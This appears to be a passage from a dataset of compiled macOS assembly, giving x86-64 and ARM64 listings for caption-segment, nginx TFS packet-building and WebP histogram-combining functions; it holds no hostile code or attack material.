(%rax,%rcx,8) movq %r14, %rbx jmp LBB0_9 LBB0_10: movq %r14, %rdi callq _text_segment_Delete xorl %ebx, %ebx LBB0_9: movq %rbx, %rax addq $8, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq LBB0_11: movq -48(%rbp), %rcx ## 8-byte Reload movq (%rcx), %rcx movq %r12, %rdx shlq $5, %rdx addq %rcx, %rdx addq $32, %rdx xorl %ecx, %ecx movl $32, %esi jmp LBB0_12 .p2align 4, 0x90 LBB0_13: ## in Loop: Header=BB0_12 Depth=1 incq %rcx LBB0_21: ## in Loop: Header=BB0_12 Depth=1 incq %r12 addq $32, %rdx cmpq %r15, %r12 ja LBB0_6 LBB0_12: ## =>This Inner Loop Header: Depth=1 movq -32(%rdx), %rdi testq %rdi, %rdi cmoveq %rsi, %rdi movq %rdi, (%rax,%rcx,8) movq -24(%rdx), %rdi testq %rdi, %rdi je LBB0_13 ## %bb.14: ## in Loop: Header=BB0_12 Depth=1 movq %rdi, 8(%rax,%rcx,8) movq -16(%rdx), %rdi testq %rdi, %rdi je LBB0_15 ## %bb.16: ## in Loop: Header=BB0_12 Depth=1 movq %rdi, 16(%rax,%rcx,8) movq -8(%rdx), %rdi testq %rdi, %rdi je LBB0_17 ## %bb.18: ## in Loop: Header=BB0_12 Depth=1 movq %rdi, 24(%rax,%rcx,8) movq (%rdx), %rdi testq %rdi, %rdi je LBB0_19 ## %bb.20: ## in Loop: Header=BB0_12 Depth=1 movq %rdi, 32(%rax,%rcx,8) addq $5, %rcx jmp LBB0_21 .p2align 4, 0x90 LBB0_15: ## in Loop: Header=BB0_12 Depth=1 addq $2, %rcx jmp LBB0_21 LBB0_17: ## in Loop: Header=BB0_12 Depth=1 addq $3, %rcx jmp LBB0_21 LBB0_19: ## in Loop: Header=BB0_12 Depth=1 addq $4, %rcx jmp LBB0_21 .cfi_endproc ## -- End function .comm _STYLE_NO_DEFAULTS,4,2 ## @STYLE_NO_DEFAULTS .no_dead_strip _CEA708CharsToSegment .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function CEA708CharsToSegment _CEA708CharsToSegment: ; @CEA708CharsToSegment .cfi_startproc ; %bb.0: stp x24, x23, [sp, #-64]! ; 16-byte Folded Spill stp x22, x21, [sp, #16] ; 16-byte Folded Spill stp x20, x19, [sp, #32] ; 16-byte Folded Spill stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 mov x20, x3 mov x21, x2 mov x22, x1 mov x23, x0 mov x0, #0 ; =0x0 bl _text_segment_New mov x19, x0 cbz x0, LBB0_10 ; %bb.1: Lloh0: adrp x8, _STYLE_NO_DEFAULTS@GOTPAGE Lloh1: ldr x8, [x8, _STYLE_NO_DEFAULTS@GOTPAGEOFF] Lloh2: ldr w0, [x8] bl _text_style_Create str x0, [x19, #8] cbz x0, LBB0_3 ; %bb.2: mov x1, x0 ldr x8, [x23, #8] add x0, x8, x22, lsl #2 bl _CEA708PenStyleToSegment LBB0_3: sub w8, w21, w22 cmp w20, #0 mov w9, #1 ; =0x1 cinc w9, w9, ne orr w8, w9, w8, lsl #2 add w0, w8, #4 bl _malloc str x0, [x19] cbz x0, LBB0_9 ; %bb.4: cmp x21, x22 b.hs LBB0_11 ; %bb.5: mov x10, #0 ; =0x0 LBB0_6: cbz w20, LBB0_8 ; %bb.7: mov w8, #10 ; =0xa str x8, [x0, x10, lsl #3] add x10, x10, #1 LBB0_8: str xzr, [x0, x10, lsl #3] b LBB0_10 LBB0_9: mov x0, x19 bl _text_segment_Delete mov x19, #0 ; =0x0 LBB0_10: mov x0, x19 ldp x29, x30, [sp, #48] ; 16-byte Folded Reload ldp x20, x19, [sp, #32] ; 16-byte Folded Reload ldp x22, x21, [sp, #16] ; 16-byte Folded Reload ldp x24, x23, [sp], #64 ; 16-byte Folded Reload ret LBB0_11: mov x11, #0 ; =0x0 ldr x8, [x23] add x8, x8, x22, lsl #5 add x8, x8, #16 mov w9, #32 ; =0x20 b LBB0_13 LBB0_12: ; in Loop: Header=BB0_13 Depth=1 add x22, x22, #1 add x8, x8, #32 mov x11, x10 cmp x22, x21 b.hi LBB0_6 LBB0_13: ; =>This Inner Loop Header: Depth=1 ldur x10, [x8, #-16] cmp x10, #0 csel x10, x9, x10, eq str x10, [x0, x11, lsl #3] add x10, x11, #1 ldur x12, [x8, #-8] cbz x12, LBB0_12 ; %bb.14: ; in Loop: Header=BB0_13 Depth=1 str x12, [x0, x10, lsl #3] ldr x12, [x8] add x10, x11, #2 cbz x12, LBB0_12 ; %bb.15: ; in Loop: Header=BB0_13 Depth=1 str x12, [x0, x10, lsl #3] ldr x12, [x8, #8] add x10, x11, #3 cbz x12, LBB0_12 ; %bb.16: ; in Loop: Header=BB0_13 Depth=1 str x12, [x0, x10, lsl #3] ldr x12, [x8, #16] add x10, x11, #4 cbz x12, LBB0_12 ; %bb.17: ; in Loop: Header=BB0_13 Depth=1 str x12, [x0, x10, lsl #3] add x10, x11, #5 b LBB0_12 .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .cfi_endproc ; -- End function .comm _STYLE_NO_DEFAULTS,4,2 ; @STYLE_NO_DEFAULTS .no_dead_strip _CEA708CharsToSegment .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function ngx_http_tfs_create_batch_block_info_message _ngx_http_tfs_create_batch_block_info_message: ## @ngx_http_tfs_create_batch_block_info_message .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx pushq %rax .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rdi, %rbx movq 8(%rdi), %r12 subq 16(%rdi), %r12 movq _NGX_HTTP_TFS_MAX_BATCH_COUNT@GOTPCREL(%rip), %rax movq (%rax), %rax cmpq %rax, %r12 cmovgeq %rax, %r12 movq _NGX_HTTP_TFS_OPEN_MODE_READ@GOTPCREL(%rip), %rax movl (%rax), %eax testl %eax, 24(%rdi) je LBB0_3 ## %bb.1: testq %r12, %r12 js LBB0_3 .p2align 4, 0x90 LBB0_2: ## =>This Inner Loop Header: Depth=1 jmp LBB0_2 LBB0_3: leaq (,%r12,8), %r14 movl $56, %r15d subq %r14, %r15 movl (%rbx), %edi movq %r15, %rsi callq _ngx_create_temp_buf testq %rax, %rax je LBB0_14 ## %bb.4: movq %rax, -48(%rbp) ## 8-byte Spill movq 8(%rax), %r13 movq _NGX_HTTP_TFS_BATCH_GET_BLOCK_INFO_MESSAGE@GOTPCREL(%rip), %rax movl (%rax), %eax movl %eax, 32(%r13) movl $52, %eax subq %r14, %rax movq %rax, 8(%r13) movq _NGX_HTTP_TFS_PACKET_FLAG@GOTPCREL(%rip), %r14 movl (%r14), %eax movl %eax, 28(%r13) movq _NGX_HTTP_TFS_PACKET_VERSION@GOTPCREL(%rip), %rax movl (%rax), %eax movl %eax, 24(%r13) xorl %eax, %eax callq _ngx_http_tfs_generate_packet_id movl %eax, 20(%r13) movl 24(%rbx), %eax movl %eax, (%r13) movq %r12, 48(%r13) testq %r12, %r12 jle LBB0_11 ## %bb.5: movq 16(%rbx), %rdx movq 32(%rbx), %rsi movq _NGX_HTTP_TFS_OPEN_MODE_READ@GOTPCREL(%rip), %rcx movl (%rcx), %ecx shlq $4, %rdx addq %rsi, %rdx addq $8, %rdx xorl %esi, %esi movq _NGX_HTTP_TFS_NO_BLOCK_CACHE@GOTPCREL(%rip), %rdi xorl %r8d, %r8d jmp LBB0_8 .p2align 4, 0x90 LBB0_6: ## in Loop: Header=BB0_8 Depth=1 movq 40(%r13), %r9 movq $0, (%r9,%r8,8) LBB0_7: ## in Loop: Header=BB0_8 Depth=1 incq %r8 addq $16, %rdx cmpq %r8, %r12 je LBB0_11 LBB0_8: ## =>This Inner Loop Header: Depth=1 testl %eax, %ecx je LBB0_6 ## %bb.9: ## in Loop: Header=BB0_8 Depth=1 movq -8(%rdx), %r9 cmpq (%rdi), %r9 jne LBB0_7 ## %bb.10: ## in Loop: Header=BB0_8 Depth=1 movq (%rdx), %r9 movq 40(%r13), %r10 movq %r9, (%r10,%rsi,8) incq %rsi jmp LBB0_7 LBB0_11: movl (%r14), %edi leaq 40(%r13), %rsi movq 8(%r13), %rdx callq _ngx_http_tfs_crc movl %eax, 16(%r13) movq -48(%rbp), %r14 ## 8-byte Reload addq %r15, (%r14) movl (%rbx), %edi callq _ngx_alloc_chain_link testq %rax, %rax je LBB0_14 ## %bb.12: movq %r14, 8(%rax) movq $0, (%rax) jmp LBB0_15 LBB0_14: xorl %eax, %eax LBB0_15: addq $8, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .comm _NGX_HTTP_TFS_MAX_BATCH_COUNT,8,3 ## @NGX_HTTP_TFS_MAX_BATCH_COUNT .comm _NGX_HTTP_TFS_OPEN_MODE_READ,4,2 ## @NGX_HTTP_TFS_OPEN_MODE_READ .comm _NGX_HTTP_TFS_NO_BLOCK_CACHE,8,3 ## @NGX_HTTP_TFS_NO_BLOCK_CACHE .comm _NGX_HTTP_TFS_BATCH_GET_BLOCK_INFO_MESSAGE,4,2 ## @NGX_HTTP_TFS_BATCH_GET_BLOCK_INFO_MESSAGE .comm _NGX_HTTP_TFS_PACKET_FLAG,4,2 ## @NGX_HTTP_TFS_PACKET_FLAG .comm _NGX_HTTP_TFS_PACKET_VERSION,4,2 ## @NGX_HTTP_TFS_PACKET_VERSION .no_dead_strip _ngx_http_tfs_create_batch_block_info_message .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function ngx_http_tfs_create_batch_block_info_message _ngx_http_tfs_create_batch_block_info_message: ; @ngx_http_tfs_create_batch_block_info_message .cfi_startproc ; %bb.0: stp x26, x25, [sp, #-80]! ; 16-byte Folded Spill stp x24, x23, [sp, #16] ; 16-byte Folded Spill stp x22, x21, [sp, #32] ; 16-byte Folded Spill stp x20, x19, [sp, #48] ; 16-byte Folded Spill stp x29, x30, [sp, #64] ; 16-byte Folded Spill add x29, sp, #64 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 .cfi_offset w25, -72 .cfi_offset w26, -80 mov x19, x0 ldp x8, x9, [x0, #8] Lloh0: adrp x10, _NGX_HTTP_TFS_MAX_BATCH_COUNT@GOTPAGE Lloh1: ldr x10, [x10, _NGX_HTTP_TFS_MAX_BATCH_COUNT@GOTPAGEOFF] Lloh2: ldr x10, [x10] sub x8, x8, x9 cmp x8, x10 csel x22, x8, x10, lt ldr w8, [x0, #24] Lloh3: adrp x25, _NGX_HTTP_TFS_OPEN_MODE_READ@GOTPAGE Lloh4: ldr x25, [x25, _NGX_HTTP_TFS_OPEN_MODE_READ@GOTPAGEOFF] ldr w9, [x25] tst w9, w8 b.eq LBB0_3 ; %bb.1: tbnz x22, #63, LBB0_3 LBB0_2: ; =>This Inner Loop Header: Depth=1 b LBB0_2 LBB0_3: lsl x24, x22, #3 mov w8, #56 ; =0x38 sub x21, x8, x24 ldr w0, [x19] mov x1, x21 bl _ngx_create_temp_buf cbz x0, LBB0_13 ; %bb.4: mov x20, x0 ldr x23, [x0, #8] Lloh5: adrp x8, _NGX_HTTP_TFS_BATCH_GET_BLOCK_INFO_MESSAGE@GOTPAGE Lloh6: ldr x8, [x8, _NGX_HTTP_TFS_BATCH_GET_BLOCK_INFO_MESSAGE@GOTPAGEOFF] Lloh7: ldr w8, [x8] str w8, [x23, #32] mov w8, #52 ; =0x34 sub x8, x8, x24 str x8, [x23, #8] Lloh8: adrp x24, _NGX_HTTP_TFS_PACKET_FLAG@GOTPAGE Lloh9: ldr x24, [x24, _NGX_HTTP_TFS_PACKET_FLAG@GOTPAGEOFF] ldr w8, [x24] Lloh10: adrp x9, _NGX_HTTP_TFS_PACKET_VERSION@GOTPAGE Lloh11: ldr x9, [x9, _NGX_HTTP_TFS_PACKET_VERSION@GOTPAGEOFF] Lloh12: ldr w9, [x9] stp w9, w8, [x23, #24] bl _ngx_http_tfs_generate_packet_id str w0, [x23, #20] ldr w10, [x19, #24] str w10, [x23] str x22, [x23, #48] cmp x22, #1 b.lt LBB0_11 ; %bb.5: mov x8, #0 ; =0x0 mov x9, #0 ; =0x0 ldr x11, [x19, #32] ldr x12, [x19, #16] ldr w13, [x25] and w10, w13, w10 add x11, x11, x12, lsl #4 add x11, x11, #8 Lloh13: adrp x12, _NGX_HTTP_TFS_NO_BLOCK_CACHE@GOTPAGE Lloh14: ldr x12, [x12, _NGX_HTTP_TFS_NO_BLOCK_CACHE@GOTPAGEOFF] b LBB0_8 LBB0_6: ; in Loop: Header=BB0_8 Depth=1 ldr x13, [x23, #40] str xzr, [x13, x9, lsl #3] LBB0_7: ; in Loop: Header=BB0_8 Depth=1 add x9, x9, #1 add x11, x11, #16 cmp x22, x9 b.eq LBB0_11 LBB0_8: ; =>This Inner Loop Header: Depth=1 cbz w10, LBB0_6 ; %bb.9: ; in Loop: Header=BB0_8 Depth=1 ldur x13, [x11, #-8] ldr x14, [x12] cmp x13, x14 b.ne LBB0_7 ; %bb.10: ; in Loop: Header=BB0_8 Depth=1 ldr x13, [x11] ldr x14, [x23, #40] str x13, [x14, x8, lsl #3] add x8, x8, #1 b LBB0_7 LBB0_11: ldr w0, [x24] ldr x2, [x23, #8] add x1, x23, #40 bl _ngx_http_tfs_crc str w0, [x23, #16] ldr x8, [x20] add x8, x8, x21 str x8, [x20] ldr w0, [x19] bl _ngx_alloc_chain_link cbz x0, LBB0_13 ; %bb.12: stp xzr, x20, [x0] LBB0_13: ldp x29, x30, [sp, #64] ; 16-byte Folded Reload ldp x20, x19, [sp, #48] ; 16-byte Folded Reload ldp x22, x21, [sp, #32] ; 16-byte Folded Reload ldp x24, x23, [sp, #16] ; 16-byte Folded Reload ldp x26, x25, [sp], #80 ; 16-byte Folded Reload ret .loh AdrpLdrGot Lloh3, Lloh4 .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpLdrGotLdr Lloh10, Lloh11, Lloh12 .loh AdrpLdrGot Lloh8, Lloh9 .loh AdrpLdrGotLdr Lloh5, Lloh6, Lloh7 .loh AdrpLdrGot Lloh13, Lloh14 .cfi_endproc ; -- End function .comm _NGX_HTTP_TFS_MAX_BATCH_COUNT,8,3 ; @NGX_HTTP_TFS_MAX_BATCH_COUNT .comm _NGX_HTTP_TFS_OPEN_MODE_READ,4,2 ; @NGX_HTTP_TFS_OPEN_MODE_READ .comm _NGX_HTTP_TFS_NO_BLOCK_CACHE,8,3 ; @NGX_HTTP_TFS_NO_BLOCK_CACHE .comm _NGX_HTTP_TFS_BATCH_GET_BLOCK_INFO_MESSAGE,4,2 ; @NGX_HTTP_TFS_BATCH_GET_BLOCK_INFO_MESSAGE .comm _NGX_HTTP_TFS_PACKET_FLAG,4,2 ; @NGX_HTTP_TFS_PACKET_FLAG .comm _NGX_HTTP_TFS_PACKET_VERSION,4,2 ; @NGX_HTTP_TFS_PACKET_VERSION .no_dead_strip _ngx_http_tfs_create_batch_block_info_message .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function HistogramCombineStochastic _HistogramCombineStochastic: ## @HistogramCombineStochastic .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx subq $72, %rsp .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movl $1, -92(%rbp) movq %rsi, -80(%rbp) ## 8-byte Spill movl (%rsi), %r15d movl %edx, -52(%rbp) ## 4-byte Spill cmpl %edx, %r15d jge LBB0_2 ## %bb.1: movl $1, (%rcx) movl $1, %eax jmp LBB0_43 LBB0_2: movq %rcx, %rbx movq 8(%rdi), %r12 movq %rdi, %r14 movl %r15d, %edi movl $4, %esi callq _WebPSafeMalloc movq %rax, %rcx xorl %eax, %eax testq %rcx, %rcx jne LBB0_43 ## %bb.3: movq %r14, -104(%rbp) ## 8-byte Spill leaq -72(%rbp), %rdi movl $9, %esi callq _HistoQueueInit testl %eax, %eax je LBB0_4 ## %bb.5: movl %r15d, %eax shrl $31, %eax addl %r15d, %eax movl %eax, -48(%rbp) ## 4-byte Spill movq -104(%rbp), %rax ## 8-byte Reload movl (%rax), %edx xorl %r14d, %r14d movl $0, %eax testl %edx, %edx js LBB0_17 ## %bb.6: leaq 1(%rdx), %rcx testq %rdx, %rdx je LBB0_7 ## %bb.8: movl %ecx, %esi andl $-2, %esi xorl %edx, %edx xorl %eax, %eax jmp LBB0_9 .p2align 4, 0x90 LBB0_13: ## in Loop: Header=BB0_9 Depth=1 addq $2, %rdx cmpq %rdx, %rsi je LBB0_14 LBB0_9: ## =>This Inner Loop Header: Depth=1 cmpq $0, (%r12,%rdx,8) je LBB0_11 ## %bb.10: ## in Loop: Header=BB0_9 Depth=1 incl %eax LBB0_11: ## in Loop: Header=BB0_9 Depth=1 cmpq $0, 8(%r12,%rdx,8) je LBB0_13 ## %bb.12: ## in Loop: Header=BB0_9 Depth=1 incl %eax jmp LBB0_13 LBB0_4: xorl %ebx, %ebx jmp LBB0_42 LBB0_7: xorl %edx, %edx xorl %eax, %eax LBB0_14: testb $1, %cl je LBB0_17 ## %bb.15: cmpq $0, (%r12,%rdx,8) je LBB0_17 ## %bb.16: incl %eax LBB0_17: movq %rbx, -112(%rbp) ## 8-byte Spill sarl -48(%rbp) ## 4-byte Folded Spill xorl %edi, %edi movq -80(%rbp), %rcx ## 8-byte Reload cmpl (%rcx), %eax sete %dil callq _assert leaq -72(%rbp), %rbx xorl %ecx, %ecx movl %r15d, -84(%rbp) ## 4-byte Spill jmp LBB0_18 .p2align 4, 0x90 LBB0_39: ## in Loop: Header=BB0_18 Depth=1 xorl %r14d, %r14d LBB0_40: ## in Loop: Header=BB0_18 Depth=1 movl -88(%rbp), %ecx ## 4-byte Reload incl %ecx movl -84(%rbp), %r15d ## 4-byte Reload LBB0_18: ## =>This Loop Header: Depth=1 ## Child Loop BB0_25 Depth 2 movq -80(%rbp), %rax ## 8-byte Reload movl (%rax), %eax cmpl %r15d, %ecx jl LBB0_21 ## %bb.19: ## in Loop: Header=BB0_18 Depth=1 cmpl -52(%rbp), %eax ## 4-byte Folded Reload jl LBB0_41 ## %bb.20: ## in Loop: Header=BB0_18 Depth=1 incl %r14d cmpl -48(%rbp), %r14d ## 4-byte Folded Reload jge LBB0_41 LBB0_21: ## in Loop: Header=BB0_18 Depth=1 movl %ecx, -88(%rbp) ## 4-byte Spill movl -72(%rbp), %ecx movl $1, -44(%rbp) cmpl $2, %eax jge LBB0_44 ## %bb.22: ## in Loop: Header=BB0_18 Depth=1 testl %ecx, %ecx je LBB0_40 ## %bb.23: ## in Loop: Header=BB0_18 Depth=1 movq -64(%rbp), %rax movslq 4(%rax), %r15 movl 8(%rax), %eax movl %eax, -44(%rbp) xorl %edi, %edi cmpl %eax, %r15d setl %dil callq _assert movq -80(%rbp), %r13 ## 8-byte Reload movl (%r13), %edx leaq -44(%rbp), %rdi xorl %esi, %esi movl $4, %ecx movq _PairComparison@GOTPCREL(%rip), %r8 callq _bsearch movq %rax, %r14 xorl %edi, %edi testq %rax, %rax setne %dil callq _assert leaq -4(%r14), %rsi movl %r14d, %edx notl %edx shrl $2, %edx addl (%r13), %edx shll $2, %edx movq %r14, %rdi xorl %r14d, %r14d callq _memmove movslq -44(%rbp), %rax movq (%r12,%rax,8), %rdi movq (%r12,%r15,8), %rdx movq %rdx, %rsi callq _HistogramAdd movq -64(%rbp), %rax movl 12(%rax), %eax movq (%r12,%r15,8), %rcx movl %eax, (%rcx) movl -44(%rbp), %esi movq -104(%rbp), %rdi ## 8-byte Reload movq %r13, %rdx callq _HistogramSetRemoveHistogram cmpl $0, -72(%rbp) jle LBB0_40 ## %bb.24: ## in Loop: Header=BB0_18 Depth=1 xorl %r13d, %r13d jmp LBB0_25 .p2align 4, 0x90 LBB0_36: ## in Loop: Header=BB0_25 Depth=2 cltq movq (%r12,%rax,8), %rdi movslq %esi, %rax movq (%r12,%rax,8), %rsi xorl %edx, %edx movq %r14, %rcx callq _HistoQueueUpdatePair cmpl $0, (%r14) js LBB0_37 LBB0_27: ## in Loop: Header=BB0_25 Depth=2 movq %rbx, %rdi movq %r14, %rsi callq _HistoQueuePopPair cmpl -72(%rbp), %r13d jge LBB0_39 LBB0_25: ## Parent Loop BB0_18 Depth=1 ## => This Inner Loop Header: Depth=2 movq -64(%rbp), %rdi movslq %r13d, %r9 shlq $4, %r9 leaq (%rdi,%r9), %r14 movl 4(%rdi,%r9), %edx movl 8(%rdi,%r9), %eax cmpl %r15d, %edx sete %cl movl -44(%rbp), %esi cmpl %esi, %edx sete %r8b orb %cl, %r8b cmpl %r15d, %eax sete %r10b cmpl %esi, %eax sete %cl orb %r10b, %cl cmpb $1, %r8b jne LBB0_28 ## %bb.26: ## in Loop: Header=BB0_25 Depth=2 testb %cl, %cl jne LBB0_27 LBB0_28: ## in Loop: Header=BB0_25 Depth=2 leaq (%rdi,%r9), %rsi addq $4, %rsi addq %r9, %rdi addq $8, %rdi orb %r8b, %cl testb $1, %cl je LBB0_32 ## %bb.29: ## in Loop: Header=BB0_25 Depth=2 movl %r15d, %r9d movq %rsi, %r10 testb %r8b, %r8b jne LBB0_31 ## %bb.30: ## in Loop: Header=BB0_25 Depth=2 movl %edx, %r9d movl %r15d, %eax movq %rdi, %r10 LBB0_31: ## in Loop: Header=BB0_25 Depth=2 movl %r15d, (%r10) movl %r9d, %edx LBB0_32: ## in Loop: Header=BB0_25 Depth=2 cmpl %eax, %edx jle LBB0_33 ## %bb.34: ## in Loop: Header=BB0_25 Depth=2 movl %edx, (%rdi) movl %eax, (%rsi) movl %edx, %esi testb $1, %cl jne LBB0_36 jmp LBB0_37 .p2align 4, 0x90 LBB0_33: ## in Loop: Header=BB0_25 Depth=2 movl %eax, %esi movl %edx, %eax testb $1, %cl jne LBB0_36 LBB0_37: ## in Loop: Header=BB0_25 Depth=2 movq %rbx, %rdi movq %r14, %rsi callq _HistoQueueUpdateHead incl %r13d cmpl -72(%rbp), %r13d jl LBB0_25 jmp LBB0_39 LBB0_41: xorl %ecx, %ecx cmpl -52(%rbp), %eax ## 4-byte Folded Reload setle %cl movq -112(%rbp), %rax ## 8-byte Reload movl %ecx, (%rax) movl $1, %ebx LBB0_42: leaq -72(%rbp), %rdi callq _HistoQueueClear xorl %edi, %edi callq _WebPSafeFree movl %ebx, %eax LBB0_43: addq $72, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq LBB0_44: leaq -92(%rbp), %rdi callq _MyRand ud2 .cfi_endproc ## -- End function .comm _PairComparison,4,2 ## @PairComparison .no_dead_strip _HistogramCombineStochastic .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function HistogramCombineStochastic _HistogramCombineStochastic: ; @HistogramCombineStochastic .cfi_startproc ; %bb.0: sub sp, sp, #144 stp x28, x27, [sp, #48] ; 16-byte Folded Spill stp x26, x25, [sp, #64] ; 16-byte Folded Spill stp x24, x23, [sp, #80] ; 16-byte Folded Spill stp x22, x21, [sp, #96] ; 16-byte Folded Spill stp x20, x19, [sp, #112] ; 16-byte Folded Spill stp x29, x30, [sp, #128] ; 16-byte Folded Spill add x29, sp, #128 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 .cfi_offset w25, -72 .cfi_offset w26, -80 .cfi_offset w27, -88 .cfi_offset w28, -96 mov x22, x0 mov w0, #1 ; =0x1 str w0, [sp, #44] ldr w23, [x1] cmp w23, w2 b.ge LBB0_2 ; %bb.1: str w0, [x3] b LBB0_30 LBB0_2: mov x20, x2 mov x21, x1 mov x19, x3 ldr x26, [x22, #8] mov x0, x23 mov w1, #4 ; =0x4 bl _WebPSafeMalloc cbz x0, LBB0_4 ; %bb.3: mov w0, #0 ; =0x0 b LBB0_30 LBB0_4: add x0, sp, #24 mov w1, #9 ; =0x9 bl _HistoQueueInit cbz w0, LBB0_28 ; %bb.5: add w8, w23, w23, lsr #31 ldr w10, [x22] str x19, [sp, #8] ; 8-byte Folded Spill mov w9, #0 ; =0x0 tbnz w10, #31, LBB0_8 ; %bb.6: add x10, x10, #1 mov x11, x26 LBB0_7: ; =>This Inner Loop Header: Depth=1 ldr x12, [x11], #8 cmp x12, #0 cinc w9, w9, ne subs x10, x10, #1 b.ne LBB0_7 LBB0_8: asr w8, w8, #1 str w8, [sp, #16] ; 4-byte Folded Spill ldr w8, [x21] cmp w9, w8 cset w0, eq bl _assert mov w8, #0 ; =0x0 mov w28, #0 ; =0x0 mov w19, #1 ; =0x1 b LBB0_11 LBB0_9: ; in Loop: Header=BB0_11 Depth=1 mov w8, #0 ; =0x0 LBB0_10: ; in Loop: Header=BB0_11 Depth=1 add w28, w28, #1 LBB0_11: ; =>This Loop Header: Depth=1 ; Child Loop BB0_20 Depth 2 ldr w9, [x21] cmp w28, w23 b.lt LBB0_13 ; %bb.12: ; in Loop: Header=BB0_11 Depth=1 add w8, w8, #1 cmp w9, w20 ldr w10, [sp, #16] ; 4-byte Folded Reload ccmp w8, w10, #0, ge b.ge LBB0_27 LBB0_13: ; in Loop: Header=BB0_11 Depth=1 ldr w10, [sp, #24] str w19, [sp, #20] cmp w9, #2 b.ge LBB0_31 ; %bb.14: ; in Loop: Header=BB0_11 Depth=1 cbz w10, LBB0_10 ; %bb.15: ; in Loop: Header=BB0_11 Depth=1 ldr x8, [sp, #32] ldp w24, w8, [x8, #4] ; kill: def $w24 killed $w24 def $x24 sxtw x24, w24 str w8, [sp, #20] cmp w24, w8 cset w0, lt bl _assert ldr w2, [x21] add x0, sp, #20 mov x1, #0 ; =0x0 mov w3, #4 ; =0x4 Lloh0: adrp x4, _PairComparison@GOTPAGE Lloh1: ldr x4, [x4, _PairComparison@GOTPAGEOFF] bl _bsearch mov x25, x0 cmp x0, #0 cset w0, ne bl _assert sub x1, x25, #4 ldr w8, [x21] mov w9, #-1 ; =0xffffffff eor w9, w9, w25, lsr #2 add w8, w8, w9 lsl w2, w8, #2 mov x0, x25 bl _memmove ldrsw x8, [sp, #20] ldr x0, [x26, x8, lsl #3] ldr x1, [x26, x24, lsl #3] mov x2, x1 bl _HistogramAdd ldr x8, [sp, #32] ldr w8, [x8, #12] ldr x9, [x26, x24, lsl #3] str w8, [x9] ldr w1, [sp, #20] mov x0, x22 mov x2, x21 bl _HistogramSetRemoveHistogram ldr w8, [sp, #24] cmp w8, #1 b.lt LBB0_9 ; %bb.16: ; in Loop: Header=BB0_11 Depth=1 mov w27, #0 ; =0x0 b LBB0_20 LBB0_17: ; in Loop: Header=BB0_20 Depth=2 ldr x0, [x26, w8, sxtw #3] ldr x1, [x26, w10, sxtw #3] mov w2, #0 ; =0x0 mov x3, x25 bl _HistoQueueUpdatePair ldr w8, [x25] tbnz w8, #31, LBB0_26 LBB0_18: ; in Loop: Header=BB0_20 Depth=2 add x0, sp, #24 mov x1, x25 bl _HistoQueuePopPair LBB0_19: ; in Loop: Header=BB0_20 Depth=2 ldr w8, [sp, #24] cmp w27, w8 b.ge LBB0_9 LBB0_20: ; Parent Loop BB0_11 Depth=1 ; => This Inner Loop Header: Depth=2 ldr x8, [sp, #32] add x25, x8, w27, sxtw #4 mov x10, x25 ldr w9, [x10, #4]! cmp w9, w24 ldr w11, [sp, #20] ccmp w9, w11, #4, ne mov x12, x25 ldr w8, [x12, #8]! cset w13, eq cmp w8, w24 ccmp w8, w11, #4, ne cset w11, eq cmp w13, #1 ccmp w11, #0, #4, eq b.ne LBB0_18 ; %bb.21: ; in Loop: Header=BB0_20 Depth=2 orr w11, w13, w11 tbz w11, #0, LBB0_23 ; %bb.22: ; in Loop: Header=BB0_20 Depth=2 cmp w13, #0 csel w9, w24, w9, ne csel w8, w8, w24, ne csel x13, x10, x12, ne str w24, [x13] LBB0_23: ; in Loop: Header=BB0_20 Depth=2 cmp w9, w8 b.le LBB0_25 ; %bb.24: ; in Loop: Header=BB0_20 Depth=2 str w9, [x12] str w8, [x10] mov x10, x9 tbnz w11, #0, LBB0_17 b LBB0_26 LBB0_25: ; in Loop: Header=BB0_20 Depth=2 mov x10, x8 mov x8, x9 tbnz w11, #0, LBB0_17 LBB0_26: ; in Loop: Header=BB0_20 Depth=2 add x0, sp, #24 mov x1, x25 bl _HistoQueueUpdateHead add w27, w27, #1 b LBB0_19 LBB0_27: cmp w9, w20 cset w8, le ldr x9, 